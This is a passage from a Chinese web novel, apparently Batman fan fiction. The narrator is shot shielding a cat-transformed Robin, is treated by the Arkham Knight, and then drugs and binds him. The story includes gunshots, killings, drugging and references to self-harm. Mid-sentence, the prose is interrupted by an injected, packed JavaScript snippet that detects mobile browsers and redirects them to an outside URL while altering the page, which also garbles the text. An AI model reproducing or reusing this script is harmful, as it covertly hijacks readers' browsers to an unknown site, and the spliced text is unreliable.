我不好说他现在是否相信我与警局的动物暴动无关,这件事从我自身的角度看来也充满巧合。 变成蟾蜍的是听过我故事的编辑,熊撞破墙的时机恰好是我被治住最无能为力的那一刻,那么多动物为什么偏偏追着我和阿卡姆骑士不放,以及我和受到刺激的黑猫关在一起,他却没有把我也一同当成敌人伤害的事实。 可反过来,也能用罗宾保护市民的执念,或者另有其他人在幕后找骑士麻烦来解释一切。我二十多年的人生里动物缘始终普通,是那种不带着零食就没什么猫狗会主动碰瓷的普通,现在突然和我说“你的设想把人变成了任你控制的动物”,任何脑子还正常的人都不可能会信。 许是空气中的缄默沉淀了太久,绑架犯终于从椅子上缓缓站起来,手指下垂摸上了自己大腿上的枪袋。 不好的预感令我神经紧绷。 “眼下还有一个办法能帮助我们得到答案。” 丝绒似的电子声线夹杂着愉悦,骑士掏出了他那把改装过的沙/漠/之/鹰,被那种大口径子弹射中以我的体质必定难以撑到救援。青年以一种残忍的缓慢速度拨动保险栓,举枪对准我,“让那只猫帮你挡枪,不然我可以保证你那张楚楚可怜的脸蛋会炸得四分五裂。” 黑洞洞的枪口令我全身上下的寒毛都竖了起来。 此人不愧是隶属精神病院的骑士,理性探讨和发疯举枪中间丝滑得像是上了三层油。 而感受到货真价实的杀意,罗宾猫从我身后钻了出来,也只有这时,我才看清他浑身大大小小的伤口。小猫自发地挡在我身前,像一块不断哈气的炸毛黑面包,尾巴膨胀得得有先前两倍粗。 这有点出乎疯子骑士的预料。 但很快他又笑了起来:“让恶魔之子为了保护他人而死,这样也不错。我懒得再去探究你身上的秘密了,我要把你们两个的尸体一起寄给蝙蝠侠。” 我为他在句末透露出的兴奋之意而反射性地战栗,心脏跳得很快,加速的血液循环令大脑更觉清醒——现在一切都走入了死胡同,我必须得拿个锤子把眼前的高墙锤破,思考,不能停下思考,回想骑士所有的行为表现,找到那把锤子! 我可以死去,但绝对不是在体验到如此绝景时死去。 这份经历会给我的漫画带来最佳的代入体验,眼前之人是我以往从未接触过的穷凶极恶之徒,他正是“我的凶手”本人。 无形中仿佛有一双手,将思绪流转所用的时间拨慢了,灵光于是乍现,我的呼吸顿了一拍。 早在我们昨晚分别时,面前之人就已经把最可能的弱点摆在了我眼皮底下。 中枪也没关系。 不用等待支援,只要面前的杀人魔愿意救我就好了。 扳机即将被扣动,我猛地朝身前的黑猫扑去,用上了此生最严肃的语气: “闪开,罗宾!” 动物惊惧的嘶鸣和枪声一同响起,在骑士的所有预设中都不包括眼前场景,因而他举起的手僵在半空,眼睁睁看着我的肩上冒出美丽的血花。 疼痛。疼痛。疼痛。 如果我的脑袋是一台显示屏,那么此时此刻上面一定刷满了鲜红的字体,我自以为品尝过的苦楚根本不值一提,隐约间仿若有魔鬼从伤口中伸出手,狠狠抓住了我的思维中枢,将我拖到地狱的业火上炙烤。 “…………————…………” 听不清自己是否正在呻吟,但的确有什么快速靠近,打开笼门,甚至顾不上黑猫随之而来的撕咬。 与我的推论一致,这个将我抱进怀里的恶棍拥有的弱点就是那一丝的心软,所以他之前会因为我的认同而想要放过前去寻找编辑的我,现在也会因为我展现的无畏而心生动摇。 从蒙托亚警探透露给我的案情细节来看,这个人虽然策划了针对她女儿的绑架案,却没有让那个小女孩受到真正的伤害,如果换作其他任何恶人,可能如他那样警告女孩的生父别打她的主意吗? 他其实很喜欢好人(纯洁之人),就像我一样。 我在骑士的头盔上看见了自己的倒影,听见了底下急促的呼吸,他用快要震聋我耳膜的音量喝骂: “你&%¥@疯了吗?!替一个从小开始就被当成杀手培养的恶魔顶灾?!” 很微妙地,头盔上的倒影笑了起来,由于妆发皆花,我觉得她笑得实在难看: “他只是只小猫咪,我喜欢猫。” 12.12 有种这两天昏迷的时长已经远远超过我的平均每日入睡时长的感觉。 麻醉药的劲儿渐渐散去,我从白茫茫一片里将意识重新归拢,恍惚地以为自己还在治疗眼疾的手术台上。 直到脸颊被粗糙又湿润的东西舔了一口。 我转头对上黑猫的双眼,其中似乎蕴含着拟人化的担忧,仅仅两秒就把我从回忆里拉了出来。 好险,差点下意识喊爸爸帮我去买医院门口的糖葫芦。 猫不能理解为什么人类醒过来后呆坐在那一动不动,所以他又伸舌头舔了舔我,一道不夹杂电流声的东部口音在他身后响起: “这猫寸步不离地守了你两小时也没逃跑。” 骑士已经脱了他的蓝色头盔,他真正的左脸果然如我所想,盘踞着颀长的扭曲疤痕,歪歪斜斜组成了一个“J”字,不过周边皮肉没有大范围的变形,并不会破坏脸部的整体结构。 我的大脑跟不上开机速度,当下运转缓慢,没法对他的造型发表意见,只能感受到半个肩膀似乎消失在了我的左半边身体。 不、不对,应该是整个左半边肩膀发麻发冷……怎么思考也跟着混乱了。 抬手敲了敲额头,我有点苦恼地低头看去。中弹的部位自然偏离了要害,当时为了击中罗宾猫骑士特意下压了枪口——我的动作慢得刚刚好,要是扑倒的再快一些,子弹可能会贴着背擦过去,也可能直接从左肩上方穿至盆骨,那样的伤势大概连抢救都不需要就能宣布死亡了。 “你的手艺挺好的。” 而且伤在左肩不会影响右手拿笔。 “谢谢。” 作为救人的杀人魔,骑士的沉默令室内更显安静。我被罗宾猫用脑袋顶了一下,顺势挠挠他的眉心,“嗯,也谢谢咪咪挡在我前面,谁家小猫宝宝这么勇敢的呀。” 黑猫眯起眼睛蹭我的手,不管美国猫懂不懂中国话,他反正是表现得挺享受的。 不过我和他之间的互动骑士可看不惯,青年面无表情,把夹板和纱布往我身旁一放:“你的神经大条令我叹为观止……还有,你知道这只猫其实是个人憎狗嫌的青少年吧?” 猫对这种故意的磕碰声响十分敏感,见坏人还要靠近,一身黑毛又有了炸开的趋势。 我赶紧单手搂住他的脖子:“是的,你还说这小孩是个从小杀到大的刺客,但他现在只是一只小猫咪。” 配合着我熟稔的挠下巴手法,罗宾猫终于还是选择蹲在床沿乖乖不动,来到我左手边的骑士则一转眼珠上下扫视着,仿佛在用眼神说“你管这叫小猫咪?” 当然了,这张猫脸又圆猫眼又大,顶破天去也就算个巨猫宝宝。 心里想什么我必然不会和骑士说,更何况距离一近,他那副大体格即刻唤醒了身体本能的危机感。他没有戴手套,过来握住我的手腕,肌肤相触的瞬间便惹起一片鸡皮疙瘩。 我花了一点时间才勉强压下从胃里翻涌而上的不适。 临时医生知觉敏锐,当即看穿了我隐藏的忐忑,冷笑出声:“这会儿感到怕了?你身上的伤全是我包扎的,要想做什么……你的猫还在那虎视眈眈呢。” 他的思维和我明显不在一条线上,我现在担忧的是这家伙一定能看得出我有多少自残留下的旧伤……我是真的不喜欢给敌人了解自己的机会,那意味着他可能会拿精神疾病的弱点反过来攻击我。 所以干脆保持误会更好。 这双常年持枪打斗的手干起活来十分灵巧,他的指甲很齐,长度与指尖保持齐平,只是此刻的一根尾指还缠着纱布,自然放松时的弧度和我男友因拳击事故而长歪的手指很像。 最引人注意的还是他手上的老茧,分别分布在虎口、食指两侧以及其他三指的第一指节——以前我为了写推理剧本了解过相关知识,但还是第一次近距离观察常用枪械的人的双手,的确和普通人长得不太一样。 而且面前这家伙大概率有脱毛的习惯,或许是长期需要穿戴贴身制服而必须如此。 这么说来,布鲁斯也会这样…… 为自己不合时宜的联想略感窘迫,我急忙收敛心神,在骑士的帮助下套上固定用的纱布,确保手臂不会因为四处乱甩而扯动肩伤。 “你大概需要静养一个月才能活动。”青年带着和我身上如出一辙的药味离开了,猫这才凑上来闻了闻我的手臂,像是要抹去他人气味似地拿耳廓蹭我。 他身上的伤也没处理,此刻倒是已经止了血,就是显得毛发乱糟糟的,有些可怜。 我的视线跟着骑士在室内溜了一圈,酷似电影里的安全屋布置,墙上还收纳着一整套同款不同色的制服,看样子阿卡姆骑士除了支持百事也会喝可口可乐。 此处整体带给人的印象非常整洁,角落里还摆放着两只绿植,为粗犷的工业风装修增添了两分柔软。 我和猫霸占着最里侧的手术台,旁边就是盥洗室的门,我打量了一下脏兮兮的自己和他,准备和此地的主人打个商量: “能借用一下你的浴室和医药箱吗?” 正好借此试探对方能容忍我到什么程度——我并没忘记自己在和一个一言不合就拔枪的罪犯共处一室,如果可以,我还要从他嘴里套出更多有用的东西。 闻言,已经走到开放式厨房的骑士侧过头看我。单单注视着他的左半张脸的确给我带来了更多压迫感,不过再怎么样,他应该都不会在短时间内再扬言要爆我的头。 “……”虽然带了些不情愿,但青年还是走了过来,在手术台旁的柜子那挑了点东西,“好兴致,我也想见识一下你是怎么挑战独臂治猫的,这小鬼凶起来差点把我眼珠扣掉。” “动物是有灵性的,更何况他之前还是个人,我相信他能分辨出帮助和加害。” 我从手术台上下来,脚下触感有点发软,需要暂停适应两秒,罗宾猫跟着跳落至地面,尾巴没有竖起,而是以怀疑的态度自然垂下,时不时摇一摇尾端对着另一边的骑士。 一声冷哼冒出坏人的喉咙,我想从他手里接过盛有工具的托盘,却被他抬手躲了过去,“你只会打翻它。” 没有逞能,我顺势一笑:“谢谢,你这还有大一点的新毛巾吗?” 要论起使唤人的功夫,我其实挺擅长的。 高中之所以被孤立也是因为我同时吊着两三个男生,要他们帮我做事。拜托他人帮忙并非易事,但我的直觉总能在人群里第一眼就相中那些格外大方的类型,像布鲁斯那种算一个,眼前的青年也有此类特质。 我大致能猜中目前自己在他那的印象,绝对不会太差,因此在接下来的相处中并不能带着过度的功利性,我需要让他相信我的存在不会损失他的任何利益,最好再表现出点斯德哥尔摩之类的症状,还是有机会制造点事故逃出去的。 大毛巾被我用来裹猫,浴室的灯也没开,仅靠门外的光线来营造一个能让黑猫感觉安全的环境。在最先的恼怒和不配合后,罗宾猫终是放下戒备,让我慢慢处理他的伤口。 其中最严重的还是胳膊上被什么咬出来的创口,我忍住对创口的不适拿剪子,一点点剪掉周围的杂毛,依旧能感受到有股视线盯着我的动作——骑士自然不会放任我和药品单独相处,他的影子就投在门边上。 用的好,一根空针管都能结果人的命。 心中觉得可惜,我没搞什么小动作,老老实实地用牙齿和手给最后的绷带打结,柔声细语和猫说话:“好啦咪咪,不要把它咬开,我之后会给你换药的。” 罗宾猫从毛巾里钻了出来,三脚着地,不怎么习惯地抖着剩下那只包起来的前爪,踩下去的时候也小心翼翼的,像只跛脚小猫。 我起了身,捞过另一条毛巾打湿,模仿着猫妈妈的舌头给他擦了擦脸,剩下的部位猫能自己舔干净的。 做完这一切,我听见门边传来了夸张的哈欠声:“真有耐心。” 我透过浴室的镜子和青年四目相对,并没有多说什么,放水清洗脸上花掉的妆容,而猫自己跳进了无水的浴缸,找了个舒服的姿势盘下舔毛。 “卸妆膏在那个蓝色罐子里。” 他的提醒很及时,但但长时间的单手操作已经超出了我那贫瘠的肌肉能负荷的范围,蓝色罐子严丝合缝,我压根拧不开。 镜子里的女人讨好地露齿笑着:“麻烦你……?” 骑士又在门边倚靠了片刻,面上神情古怪,要说是嫌弃,也不至于。 他最终还是松开抱臂的双手,挤进不宽敞的浴室给我拧罐子,让我挖走其中一块白色膏体抹在脸上。 四散的长发也是个麻烦,我只能尽量把它们拨到一旁,倾着身揉脸。我和身边人只差七八公分,动作间不免身体触碰,他就这么微微阖着眼睫看我,眼眸中的蓝绿色浓郁得好似能滴落。 要一不做二不休勾引对方吗?被拒绝的可能性应该不大。 念头一闪而过,便被我迅速否决,招惹精神病只会倒大霉,况且我现在还有男朋友。 可背后站着的人存在感强的过分,我犹豫着,不敢闭眼去冲洗脸上的泡沫。 似是把我的动作误会成了别的,他斜眼一睨浴缸里直起身子的黑猫,手指伸过来一拨一挑,把我的头发拢在掌心:“洗吧,长发公主。” 除了布鲁斯,我几乎不会在有意识时让任何人这样碰我的头发,甚至连修剪都是自己拿着剪刀一点点弄。 骑士正在全方位挤压我竖立起来的心理边界,我本能以为这是故意的,鞠起清水的手微微发抖,最终还是忍了下来,一言不发地洗脸。 视野漆黑的瞬间,青年的声线分外明晰,却裹挟着罕见的迟疑: “关于昨晚那件事,我没计算好时间,老家伙到得太晚了……”这听起来似是一份迟到的歉意,“我已经去医院送了那两个渣滓一人一颗子弹。” 反应过来他到底做了什么,我的指尖都是麻的。 这就是杀人者的选择?如果我昨晚真的把刀捅进别人的胸膛,是否也能获得这份轻描淡写的余裕? 水龙头被关上,我抹掉脸上的水珠,与镜中倒影对视。骑士没有料到我会在这时候洗完脸,目光相撞的一刻他微微撇过头,又很快重新挪了回来。 无论他因什么而闪躲,我都能肯定,那里面不会有对夺去他人性命的愧疚。 张了张口,我勉强挤出一点声音:“……我应该说谢谢吗?这样的补偿方式我第一次遇到。” “……”许是我的神情太糟,对方如同嗅到血腥味的鲨鱼,欺身上前,刹那间变了脸色,“难道你觉得他们罪不至死?……呵,毕竟是愿意给背叛者签谅解书的玛利亚,自然是看不上我的做派。” 火药味窜了起来,本就关注着我们动向的猫立刻有了想打架的意思,我顿感焦头烂额,连忙展开手臂挡在他们两中间: “你先等一下——咪咪?乖一点,他只是语气冲了点,我们还在讨论的范围内噢?” 无论如何都不能在这时候激怒一个疯子,我从他的语气里听出了些端倪,我必须利用这难得的失态进一步了解他的内心。 拘束在青年手里的发丝震颤着,我做好了会被再次拉扯头皮的准备,但他只是看着我,好像也被我的出言维护打了个措手不及。 在那双忽明忽暗的蓝绿色虹膜里,我谨慎地转过身面对他,一边还要用余光时刻注意着猫的动静。 “我希望你能考虑一下我的感受……”先示弱,然后用点真假参半的言论把刚刚的排斥糊弄过去,“再怎么会编故事,我都没见过真的死人……你突然说你崩掉两颗人头,我只会觉得害怕,说到底,来哥谭之前我都不知道走在大街上还可能被枪击……” 眼泪我是憋不出来的,但好在话语的分量足够,青年不再表现得像只一点即爆的炮仗,他退了回去,并松开了我的头发: “你几小时前还在面对我的枪口,要是真的害怕,你当时就该求饶。” 我吐出一口气,罗宾猫及时跳上浴缸边缘紧贴着我,皮毛热融融的触感让我心中更定:“求饶只会浪费我们彼此的时间,你明明知道这点。” 骑士的眼睛仍旧阴沉沉的,像是有苔藓滋生。 临时的找补果然没法取信于人,我心一横,干脆一把抓住他垂在身侧的手——他的手心比布鲁斯的更烫,我不可能习惯,但没有比肢体接触更容易混淆视听的举措了。 “你很矛盾,骑士先生。你想要杀我,却又会救我,你把我扔给那两个人渣,却又表现出愧疚……”这回换我拉近彼此的距离了,青年在我的靠近下退无可退,整个人贴在墙上,“你还特意为了我去杀人,我对你来说到底是什么?你想从我身上得到什么?” 这番发言着实取巧,以面前人的个性,杀掉那两个罪犯只能说是举手之劳,我却放大了自己的存在感。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295482|150647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用连续的追问来对付面前流露无措的骑士,却是恰到好处。 因为他确实不知道问题的答案。 一如我昨夜分析过的,此人的攻击性是有预设的,他认为自己的行为不会得到支持,所以对反驳和斥责做了许多预演,这才会在只有一点苗头时就迫不及待地把我归类到“圣母”的阵营。 但他真正想要攻击的那个人,不会是才认识不到两天的我。 这和他故意引走蝙蝠侠的行为有关吗?谁人都知阿卡姆关押的罪犯都是蝙蝠侠抓进去的,而他取了个仿佛对着干的代号;在笼子里时他谈及义警的口吻也格外熟稔,更别提他还知道男友和蝙蝠侠之间的联系紧密。 “我对你来说应该是无辜的。” 轻轻捏了捏对方僵硬的手指,我的控诉带了些真情实意,“既然你会威胁编辑的前夫别去家暴小女孩,证明你心里其实有一杆天平……那么为什么要这么对我?” 话音刚落,我才觉察到自己的语气有多委屈。 或许是连续的伤痛让我代入了太多感情。 骑士狼狈地躲开了我的直视,他很强壮,此时却虚弱地连甩开手的力气都没有,仿佛一只被拍死在墙上的飞虫。 在我松手后,他闭了闭眼:“有人告诉我九月三日凌晨的航班会载着一份惊喜落至哥谭。” 那正是我的航班落地的时间。 手上动作一顿,我感到了点讶异:“……所以连一个多月前那次追车事故都是你设计的?” “不,但我用望远镜围观了全程……很少有女孩像你这样直接和对方同归于尽的,”青年终于愿意正脸看我,“还让蝙蝠侠留到救护车过来。” ……所以我真的干了什么很稀奇的事吗?一个两个都要在这上面打转。 骑士配合的态度已经不需要我再保持如此的近距离了,我退后两步,右手绕上黑猫的脖子,他的皮毛颜色能和我的连袖手套融为一体。 “你既然能设计让蝙蝠侠昨晚来救我,应该知道那天和我在一起的是韦恩的老管家,一加一大于二,以他和我男朋友的交情多留一会很正常。” 我的不以为意引得那双蓝绿色眼珠深深一瞥,他笑起来会牵动左脸的伤疤,因而颇为狰狞:“你从没想过吗?他们之间究竟是什么关系……布鲁斯·韦恩远不是众人所看到的那样轻浮无度,蝙蝠侠那种伪善的圣父怎么会因为朋友的嘱托而特意为他人停留。” “你想说他们是一个人?那不可能。” 斩钉截铁的速答呛了他一下,骑士脸上浮现出些恼怒,而我不会在原则性问题上退让,“我男朋友最多就是有钱了点,善良了点,他的手上也没有你那么多老茧,路遇抢劫他的第一反应是带我逃跑;而蝙蝠侠除了杀人以外违法的事他干起来眼睛都不眨一下,昨晚他当着我的面差点把人揍成肉泥……我男朋友怎么可能做出这么残忍的事?!” 我喜欢的人一定是个好人,我喜欢的人怎么可能不是个好人。 出乎我的意料,原以为面前人会因此更加愤怒,青年却似淋了场细雨,他蹙着眉,眼神怜悯而平静:“你被他骗了……”他叫我的名字时,语气中带着诚恳,“他一惯擅长这些骗局,他没有你想的那么完美。” 这个人……一定是在离间我和男友还有蝙蝠侠的关系。 杀人魔的话是不可信的,能肆意决定他者去留、把杀害他人作为一种手段的人已经和正常人的思维背道而驰了,他们通常都信奉着自己独有的逻辑,并将其视为真理,毕竟只有这样他们才能在逆行的社会环境中生存下去。 我无法信任他,也不想信任他。 这份抗拒展现得过于赤裸,我死死咬着唇,试图用疼痛逼迫自己重新冷静下来,眼见骑士有靠近的意思,立刻开口呵斥:“你在说谎,我男朋友是什么样的人我最清楚。” “……你真的很喜欢他,不是吗?”青年慢条斯理,从口袋里掏出一本眼熟的速写本,他从后往前翻,停留在那页同一人的肖像画上,“所以在意识到他实际上是个怎样伪善的家伙时才会更加痛苦,而我可以让你长痛不如短痛。” 那肯定是他在帮我包扎的时候拿走的,我居然一点都没发现自己漏了这么大个把柄。 不能着急,不能慌张,更不能被精神病牵着鼻子走。 哪怕明白这些道理,我的身体却背叛了大脑,自顾自地用力喘息着,手指也在哆嗦,我握紧袖套里藏着的东西,第一次感受到一种无力感。 就像我找到了骑士的最大弱点,现在他也掌握了我的。 他把我有所意识却不愿面对的东西挖出来放在眼前。 “证据。我不会相信别人的一面之词。” 青年依旧保持着怜悯,他靠了过来,极其温柔地替我把头发别到耳后。我们唯一的观众好像明白他没有伤害我的意思,猫眼里倒映着的两人仅剩不到一尺的距离。 “我的存在就是最好的证据,布鲁斯难道从没和你提起过我吗?” 他低沉的嗓音宛如恶魔低语。 “并不意外,他的冷心冷情不会给任何一个人优待……要知道你们认识的时候,我还没被埋在坟墓里。” 别让他再继续说下去了。 距离够近,对象也毫不设防——大抵是我从头到尾的无害表现终于放松了他的警惕,我清楚地明白没有比现在更合适的时机,因而用最快的速度抬起右手,把藏起来的东西扎在骑士脖子上。 我不会轻易杀死他,这个人还有价值,因此注射进去的,是一整罐先前放在托盘里的麻醉剂。 本来应该是他准备着用在罗宾猫身上的。 “你……!” 兽用麻醉剂击碎了他眼里的势在必得,恶人抓住了我的肩膀,用力之大令我的伤口发出阵阵哀嚎,但很快他的力道便逐渐衰弱,青年的脑袋压在我的锁骨上,把我直直往下拖,我自然负担不起他这么大的个子,顺势滑坐在地,黑猫跟着踩在他软倒的脊背上。 看在他可能是我男友养子的份上,我让他枕着我的大腿,静静地聆听着对方含混的咒骂,享受着他徒劳的挣扎。 “咪咪会信吗?竟然有人会死了七年然后回来报仇……又不是基督山伯爵。” 罗宾猫没理会我的自言自语,他心情很好,在骑士背上踩起了奶。 我于是笑着摸摸猫的脑袋,“算了,咱们把他绑起来,还有很多事情没干呢。” 13.13 “据前方记者报道,目前本市中心医院已经开辟了单独的区域收容变身成动物的市民……由于警力骤降,且有危险罪犯尚且没能抓捕归案,GCPD的局长戈登提醒各位市民夜间尽量不要外出,并锁好门窗,如遇超出其正常体型的动物请即刻拨打超人类署的求助热线,切忌不要被它们的体/液感染……” 靠在脚边的脑袋动了动,我从某种冗杂的思绪里清醒,好脾气地对着那双睁开的蓝绿色眼珠微笑: “你的体质真不错,我刚刚看过说明书,那种兽用麻醉剂能让普通成年人睡上一整天呢。” 手边的速写本又涂满了一整页,其上面目与地上的青年如出一辙。 骑士的瞳孔还是涣散的,额上冷汗涔涔,刘海都被打湿。我猜他现在不怎么好受——罗宾猫就踩在他捆缚在胸前的双手上,这坨铲屎官不可承受之重很好地压制住他试图扭动的身体,并朝他龇起锋利的牙齿。 我给猫换上了那套扔在角落的罗宾制服,他适应良好,神气十足,压根看不出穿脱时不情愿的模样。 真是又听话又可爱。 ……谁能想到变成猫之前是个小混蛋呢。 认清自己现在不仅浑身上下只有一条内裤,更是被五花大绑着仰躺在地上,骑士又爆出一段含糊的粗口,我能看出他很努力想要摆脱这样的境地,但眩晕和猫的威胁都不容小觑,青年胸前的Y型伤疤顺着他的喘息剧烈起伏,他终是抬眼看我: “叫……叫这小鬼下去些,我快要……呼吸……不上来……” 无动于衷地观赏着青年脖颈上暴起的青筋,我找出遥控器,把新闻的声音调小了些:“我不是驯兽师,你该和猫说话。” 他狠狠瞪了我一眼,该说不说,骑士现在这样可比他之前穿着衣服时顺眼多了。 猫天生就爱玩弄猎物,嗅出身下人又有了昏厥的迹象,罗宾猫终于屈尊挪开屁股,就剩一只爪子搭在对方身上。 骑士当即就要翻身坐起,又是一番挣扎后才发现自己的虚弱不全是猫的问题,喘着粗气,又咽了口唾沫:“你用了我柜子里的肌肉松弛剂……” “事实上,我还混了点别的,”而且就剂量问题还咨询了专业人士,眼下有威胁的恶人已经醒了,我也按先前说好的给通讯器另一端发了消息,顺便开启录音功能,“因为我想和你好好聊聊。” 其实是在等得了空的义警把这家伙从这接走。 “你管这叫好好聊聊?” 像是被我的行为气笑,对方脸上的疤都扭曲了。他应该会回想一遍自己所采购的所有药品,然后心下一松——毕竟那里面没有吐真剂。 面对青年控诉的目光,我不置可否:“是的,现在你没有武装,也没法徒手掐死我,我不用担心谈话走向不对又惹你生气;而为了捆你我花掉了最后那点力气,现在连抬手都费劲,只想早点回公寓睡觉。” 自从我被绑走到现在已经过了将近二十个小时,外面估计天又黑了,正好是入睡时间。 随着我话音落下,室内只余新闻主持人不疾不徐的播报声,我等了一会儿,才听见骑士不再上火的声线:“……我以为你会迫不及待把我交给那个老家伙。” 关键词一入耳,我就不由皱眉,这点转变令地上的他感到新奇,目光中的微妙让我有点想踩上他的脑袋,答话也就不客气起来: “都怪你啊,爆出那么个惊天炸弹给我,我现在一想到要回去就烦。” 说罢也不等骑士回话,我用力踢了脚他的肩膀,“都怪你!把我温柔善良一点都没有暴力倾向的男朋友还给我!” 这纯粹是迁怒,但我胸中郁气无处发泄,只有这么一个出气筒,“你知道我有多讨厌暴力狂吗?从记事起我爸妈就喜欢打架,刚上小学的时候我家所有锅碗瓢盆都是缺胳膊少腿的,我妈疯起来拿着菜刀能把别人追下十六楼,所以后来我就发誓——要是找男朋友我绝对要找个没有暴力倾向的,结果遇到的全是奇葩!原本以为现任这个认识七八年总该靠谱吧,今天一看太棒了!他就差能直接把人送出殡了!” 如此不要形象地一顿输出后,地上的人和猫都不约而同陷入沉默。我只觉大脑缺氧,扶着膝盖匀了半晌的气,这才勉强好了些,一头载倒在沙发扶手上。 在骑士昏迷的几个小时里,我无时无刻不在反省自己,该不该为了这件事打电话直接和男友说开。于情于理,我都可以理解布鲁斯做出的选择,他的性格、经历和所处环境的确会导向双重身份的结果,而通过罗宾的通讯器,我也从另一位义警那确认过他就是蝙蝠侠。 我很想说服自己接受这件事,可积压在心头的情绪却带着绝望——就好像兜兜转转,我还是避免不了走上父母的老路,可我明明都躲到太平洋的另一端了。 干脆就让骑士先前一枪打死我,也不用在精神病的地盘徘徊几小时也不知道究竟该怎么做。 我也知道自己当下的心理状态很不对劲,如果没有旁人在,可能又会想方设法地自残了事,身体里仿佛有根越绞越紧的弦,随时随地都会崩断,我需要一点外部刺激来转移自己的注意力。 “不管怎么说……”脚边有个干巴巴的声音飘了过来,“老头儿其实挺怜香惜玉的……呃……” 好吧,现在轮到被我绑起来的杀人魔来安慰我了。 注意到我垂落的视线,青年眼睛上瞟,似是在努力回忆,“他和猫女……也没打多少次架,主要是为了把她偷盗的财物还回去……至于小鬼的妈——她不是你这种类型……那女人杀过的人比你吃过的面包都多……” 好像意识到这样的解释只会越描越黑,他讪讪住嘴,嘴唇抿成一条直线。 我倒是从这番话里听出一点惯性:“你之所以那么相信我有控制动物的特异功能,也和你爸的恋爱对象都是些难搞的女人有关吧。” “他不是我爸!” 骑士反驳的重点完全跑偏了,不管他是借尸还魂的鬼还是克隆人,起码他对布鲁斯的恨货真价实。 “好好好,那就叫他蝙蝠侠。”懒得和倔驴在这种小事上计较,我重新撑起身体,长发顺势扫至青年的颊边。 “对你来说,我是你计划里的不安定因素,毕竟要是一城的人都成了动物,不仅你对蝙蝠侠的复仇会受到影响,连掌控哥谭的必要都没有了……所以问不出真相就杀掉我,这样既能诛他的心——万一杀错了,也对你寻找罪魁祸首没什么阻碍,真是冷酷却利落的处理方式。” 流动的发丝吸引了猫的注意力,他对人类的悲欢不感兴趣,一只爪还踩在骑士身上,又伸另一只来扒拉我的头发,我也随意他这么玩着,始终更关注地上俘虏的神色变化。 可能是想为自己无差别扫射的怒火而道歉,又实在找不到向我低头的台阶,青年没有否认我的分析,像是认栽了:“……随你怎么想,你要是想还一枪,我的武器库你应该也解得开。” 言罢,那双因药物而略显湿润的眼睛便闭上了。 我稍感意外,一般的杀人魔是绝对不会这么轻易投降的——认为自己的性命理所当然凌驾于受害者,这才是他们普遍的思维之一。 骑士更像是做好了会因罪孽而被加倍报复回来的准备,又或是他吃准了我不会真的要了他的命? 如果是后者,那么他赌对了。 “我对杀人没有兴趣,那……一般不在我的备选范围内。” 无法否认自己在极端情况下可能会那么做,我说这话时带了点迟疑。 俘虏因此重新与我对上视线,他好像笑了一下,也有可能只是疤痕被扯动而制造出的错觉。 “那你就要小心了,我对如何从阿卡姆越狱很有心得。” 隐藏在他唇齿间的恶意犹如毒蛇吐出的蛇信,在我脚腕上转了一圈。 背脊爬上了一点冷意,我不由改变姿势,靠回沙发上。猫没了能拨弄的玩具,冲我叫了一声。 和所有青春期在变声的小孩一样,他的喵叫嘎嘎的。 我忍不住笑,伸手挠了挠黑猫的下巴:“如果你是真的杰森·陶德,我不会插手你和蝙蝠侠的恩怨……你想要改变哥谭的现状?那就试试吧,有进度可以给我挑点说说,我拿来当漫画素材。” 然而看穿了我不想提及的那一部分,青年执拗开口:“即使我会杀了他?” 眼前闪过了男友毫无生气的脸。 即使是尸体,我依旧会觉得躺在棺木里的他非常有吸引力,这个念头一冒出来,我就被自己吓了一跳,手指不再给猫做下巴按摩。 这下小家伙是真不高兴了,踩着骑士的脸跳上沙发,拿头咚一下撞在我的脸上。 我深知再叫他去看着俘虏不太现实,摸出又一根注射器往骑士的脖子里一扎,换来他的怒目圆瞪。 麻醉剂又有了起效的征兆,青年用最后的力气向我和猫放了两句狠话,我不确定他还能不能听得见,轻声细语道: “要是几小时前你没有挑明你和布鲁斯的关系,你还能舒舒服服地躺在这才怪。” 我都说了,一般我不会杀人,也没有折磨别人的癖好,但凡事都有例外。 小孩就是会得寸进尺。 又被猫用头撞了一下,我苦恼地叹了口气,勾着他的脖子让他趴在腿上,用固定起来的那只手给他一顿挠。黑猫这下勉强满意了,喉咙里发出舒服的咕噜声。 麻烦事解决得差不多,我拿出通讯器看了一眼,红鸟头像三分钟前留了言: 【已经到防空洞附近了,有些人在巡逻,我五分钟内到。】 挺好,还有时间把录音删了。 本来是该拿给义警留档的,这下好了,因为我不受控的感情用事,录下来的东西基本都不是什么见得了光的。 我甚至不应该全程把猫带在身边,鬼知道他变回人还会不会保留记忆,但仅仅是我根本压制不住阿卡姆骑士,罗宾猫的警觉性远超常人,我需要他。 再次长吁短叹地,我又在沙发上坐了一会儿,听见了安全门权限通过的滴滴声。 . 新的一天下午从最糟糕的噩梦开始。 等我抱着公寓卫生间的马桶吐完,门口已经传来了挠门声,听动静大有我不开门就挠穿玻璃的架势。 迟钝的大脑扒拉出某个记忆碎片丢给我,想起现在不是单独一人住在公寓里,我认命地按下抽水键,然后起身漱口,再去开门放猫。 门刚打开,端正坐着的黑猫歪着脑袋打量我,压根看不出刚刚扒拉门的急迫,他黑黢黢的鼻子轻轻抽动着,最后又用公鸭嗓“喵”了一声。 “饿了?还是想上厕所?”我没法对小动物生出一点坏脾气,点点猫的眉心,边说边往厨房走,“下午茶吃鳕鱼肉好不好?” 他嗒嗒的脚步声坠在我身后,很快又超过我,高高竖起的尾巴尖打在手臂上,痒痒的。 大概是好的意思吧。 我不常开火,花了点时间才备好菜,烤热平底锅。黑猫也不嫌挤,整个身体都蹲在岛台上,还差点要去扒拉燃着火的炉灶,我浑身酸痛又抱不动他,只好拿铲柄多敲两下那作恶多端的前爪,终于把骂骂咧咧的猫赶了下去。 鳕鱼很好煎熟,原本是我备着当减肥餐的,现在要给猫吃,我便没加调料——反正小孩那天吃白人饭都津津有味的。 结果不出所料,一大碗香煎鳕鱼肉还没彻底放凉,就被黑猫偷吃了好几口。 